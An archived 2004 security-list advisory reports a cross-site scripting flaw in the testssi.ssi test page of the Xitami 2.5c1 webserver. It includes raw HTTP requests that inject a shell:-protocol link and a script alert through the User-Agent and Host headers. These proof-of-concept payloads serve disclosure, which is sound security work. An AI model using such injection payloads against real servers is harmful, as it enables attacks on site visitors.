lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <40FFA0F8.6080609@greyhat.de>
From: Oliver at greyhat.de (Oliver@...yhat.de)
Subject: XSS in Xitami testssi.ssi

Xitami Imatix testssi.ssi XSS
=============================

Xitami is an easy to use and open source webserver, running on several
platforms.

What?
=====

Xitami Imatix 2.5c1 comes with the SSI test page /testssi.ssi, which
delivers
a website with the content of several SSI-variables.

Within the variables "HTTP_USER_AGENT" and "HTTP_REFERER", no
(sufficient) content
checking is done. The content of this variables is delivered by the
webbrowser, and
therefore can be manipulated by the user.

How?
====

Telnet (dont netcat!) to port 80:

GET /testssi.ssi HTTP/1.1
Host: localhost
User-Agent: <A HREF="shell:windows\system32\calc.exe">PLEASE CLICK HERE</A>
Connection: close


GET /testssi.ssi HTTP/1.1
Host: <script>alert("Please click at \"PLEASE CLICK HERE\"")</script>
User-Agent: <A HREF="shell:windows\system32\calc.exe">PLEASE CLICK HERE</A>
Connection: close


Misc:
=====
This_paper: www.oliverkarow.de/research/xitami25c1_testssi_XSS.txt
Screenshot: www.oliverkarow.de/research/xitami25c1_1.GIF
Screenshot: www.oliverkarow.de/research/xitami25c1_2.GIF
Version: 2.5c1 on Windows platform .... others not tested
Vendor: www.imatix.com
Date: 22.07.2004





Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ